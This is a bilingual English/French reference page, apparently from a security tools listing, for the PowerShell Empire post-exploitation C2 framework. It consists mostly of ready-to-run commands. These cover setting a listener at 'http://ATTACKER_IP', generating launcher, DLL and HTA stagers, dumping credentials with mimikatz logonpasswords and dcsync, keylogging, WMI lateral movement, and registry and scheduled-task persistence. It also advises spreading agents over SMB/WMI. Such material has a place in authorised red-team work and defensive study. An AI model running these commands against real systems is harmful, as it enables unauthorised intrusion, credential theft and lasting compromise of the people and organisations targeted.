← retour aux outils back to tools

# PowerShell Empire

Framework C2 de post-exploitation utilisant des agents PowerShell chiffrés. Inclut des modules d'énumération AD, de dumping d'identifiants, de mouvement latéral et de persistance. Post-exploitation C2 framework using encrypted PowerShell agents. Includes modules for AD enumeration, credential dumping, lateral movement, and persistence.

↗ https://github.com/BC-SECURITY/Empire

## Overview

Empire is a mature post-exploitation framework with a modular design. Its agents are pure PowerShell (or Python on Linux/macOS) and communicate over encrypted HTTP/S. Starkiller is its web-based GUI. Maintained by BC Security as a fork of the original PowerShell Empire.

## Setup

Install (Kali / Debian)

    sudo apt install powershell-empire starkiller

Start Empire server

    sudo powershell-empire server

Start Empire client (CLI)

    sudo powershell-empire client

Or use Starkiller (web GUI)

    starkiller   # Open http://127.0.0.1:1337 in browser

## Empire CLI Basics

    # Connect to server
    (Empire) > connect --host 127.0.0.1 --port 1337 --username empireadmin --password password123

    # List listeners
    (Empire) > listeners

    # List agents
    (Empire) > agents

    # Interact with agent
    (Empire) > interact AGENT_NAME

    # List modules
    (Empire) > usemodule

## Listeners

    # HTTP listener
    (Empire) > uselistener http
    (Empire: listeners/http) > set Name http_listener
    (Empire: listeners/http) > set Host http://ATTACKER_IP
    (Empire: listeners/http) > set Port 80
    (Empire: listeners/http) > execute

    # HTTPS listener (requires cert)
    (Empire) > uselistener https
    (Empire: listeners/https) > set CertPath /path/to/cert.pem

    # Redirector listener (DNS)
    (Empire) > uselistener redirector

## Generating Stagers (Agents)

    # PowerShell launcher (one-liner for execution)
    (Empire) > usestager windows/launcher_bat
    (Empire: stager/windows/launcher_bat) > set Listener http_listener
    (Empire: stager/windows/launcher_bat) > execute

    # DLL stager
    (Empire) > usestager windows/dll
    (Empire: stager/windows/dll) > set Listener http_listener
    (Empire: stager/windows/dll) > execute

    # HTA (HTML Application)
    (Empire) > usestager windows/hta

## Post-Exploitation Modules

    # Credential dumping
    (Empire: AGENT) > usemodule credentials/mimikatz/logonpasswords
    (Empire: AGENT) > usemodule credentials/mimikatz/dcsync

    # Keylogging
    (Empire: AGENT) > usemodule collection/keylogger

    # Screenshot
    (Empire: AGENT) > usemodule collection/screenshot

    # AD enumeration (PowerView)
    (Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_user
    (Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_controller
    (Empire: AGENT) > usemodule situational_awareness/network/powerview/find_localadmin_access

    # BloodHound collection
    (Empire: AGENT) > usemodule situational_awareness/network/bloodhound3

    # Lateral movement via WMI
    (Empire: AGENT) > usemodule lateral_movement/invoke_wmi
    (Empire: lateral_movement/invoke_wmi) > set ComputerName target.domain.local
    (Empire: lateral_movement/invoke_wmi) > set Listener http_listener

    # Persistence
    (Empire: AGENT) > usemodule persistence/userland/registry
    (Empire: AGENT) > usemodule persistence/elevated/schtask

## Running Shell Commands

    # Execute shell command on agent
    (Empire: AGENT) > shell whoami
    (Empire: AGENT) > shell net user

    # Run PowerShell
    (Empire: AGENT) > shell Get-Process

    # Upload/download
    (Empire: AGENT) > upload /local/file.exe
    (Empire: AGENT) > download C:\Users\user\Desktop\file.txt

## Tips

- Starkiller’s GUI is much easier for module discovery than the CLI
- Empire agents auto-reconnect — they’re resilient to temporary network interruptions
- Modules are PowerShell scripts — readable and customizable
- Combine with CrackMapExec or netexec to spread agents via SMB/WMI

Key module categories

    collection/         Data collection (keylog, screenshot, clipboard)
    credentials/        Credential dumping (mimikatz, hashdump)
    lateral_movement/   WMI, PSRemoting, DCOM, pass-the-hash
    persistence/        Registry, scheduled tasks, WMI subscriptions
    privesc/            UAC bypass, local privesc, token manipulation
    recon/              Host/network enumeration
    situational_awareness/  AD recon (PowerView), network discovery

## Vue d’ensemble

Empire est un framework de post-exploitation mature à la conception modulaire. Ses agents sont en PowerShell pur (ou en Python sous Linux/macOS) et communiquent via HTTP/S chiffré. Starkiller est son interface graphique web. Maintenu par BC Security en tant que fork du PowerShell Empire original.

## Installation

    # Installer (Kali / Debian)
    sudo apt install powershell-empire starkiller

    # Démarrer le serveur Empire
    sudo powershell-empire server

    # Démarrer le client Empire (CLI)
    sudo powershell-empire client

    # Ou utiliser Starkiller (interface web)
    starkiller   # Ouvrir http://127.0.0.1:1337 dans le navigateur

## Bases de la CLI Empire

    # Se connecter au serveur
    (Empire) > connect --host 127.0.0.1 --port 1337 --username empireadmin --password password123

    # Lister les listeners
    (Empire) > listeners

    # Lister les agents
    (Empire) > agents

    # Interagir avec un agent
    (Empire) > interact AGENT_NAME

    # Lister les modules
    (Empire) > usemodule

## Listeners

    # Listener HTTP
    (Empire) > uselistener http
    (Empire: listeners/http) > set Name http_listener
    (Empire: listeners/http) > set Host http://ATTACKER_IP
    (Empire: listeners/http) > set Port 80
    (Empire: listeners/http) > execute

    # Listener HTTPS (nécessite un certificat)
    (Empire) > uselistener https
    (Empire: listeners/https) > set CertPath /path/to/cert.pem

    # Listener redirecteur (DNS)
    (Empire) > uselistener redirector

## Générer des stagers (agents)

    # Lanceur PowerShell (one-liner pour l'exécution)
    (Empire) > usestager windows/launcher_bat
    (Empire: stager/windows/launcher_bat) > set Listener http_listener
    (Empire: stager/windows/launcher_bat) > execute

    # Stager DLL
    (Empire) > usestager windows/dll
    (Empire: stager/windows/dll) > set Listener http_listener
    (Empire: stager/windows/dll) > execute

    # HTA (application HTML)
    (Empire) > usestager windows/hta

## Modules de post-exploitation

    # Dumping d'identifiants
    (Empire: AGENT) > usemodule credentials/mimikatz/logonpasswords
    (Empire: AGENT) > usemodule credentials/mimikatz/dcsync

    # Keylogging
    (Empire: AGENT) > usemodule collection/keylogger

    # Capture d'écran
    (Empire: AGENT) > usemodule collection/screenshot

    # Énumération AD (PowerView)
    (Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_user
    (Empire: AGENT) > usemodule situational_awareness/network/powerview/get_domain_controller
    (Empire: AGENT) > usemodule situational_awareness/network/powerview/find_localadmin_access

    # Collecte BloodHound
    (Empire: AGENT) > usemodule situational_awareness/network/bloodhound3

    # Mouvement latéral via WMI
    (Empire: AGENT) > usemodule lateral_movement/invoke_wmi
    (Empire: lateral_movement/invoke_wmi) > set ComputerName target.domain.local
    (Empire: lateral_movement/invoke_wmi) > set Listener http_listener

    # Persistance
    (Empire: AGENT) > usemodule persistence/userland/registry
    (Empire: AGENT) > usemodule persistence/elevated/schtask

## Exécuter des commandes shell

    # Exécuter une commande shell sur l'agent
    (Empire: AGENT) > shell whoami
    (Empire: AGENT) > shell net user

    # Exécuter du PowerShell
    (Empire: AGENT) > shell Get-Process

    # Upload/download
    (Empire: AGENT) > upload /local/file.exe
    (Empire: AGENT) > download C:\Users\user\Desktop\file.txt

## Conseils

- L’interface graphique de Starkiller est bien plus simple pour découvrir les modules que la CLI
- Les agents Empire se reconnectent automatiquement : ils résistent aux interruptions réseau temporaires
- Les modules sont des scripts PowerShell : lisibles et personnalisables
- Combinez avec CrackMapExec ou netexec pour propager des agents via SMB/WMI

Catégories de modules clés

    collection/         Data collection (keylog, screenshot, clipboard)
    credentials/        Credential dumping (mimikatz, hashdump)
    lateral_movement/   WMI, PSRemoting, DCOM, pass-the-hash
    persistence/        Registry, scheduled tasks, WMI subscriptions
    privesc/            UAC bypass, local privesc, token manipulation
    recon/              Host/network enumeration
    situational_awareness/  AD recon (PowerView), network discovery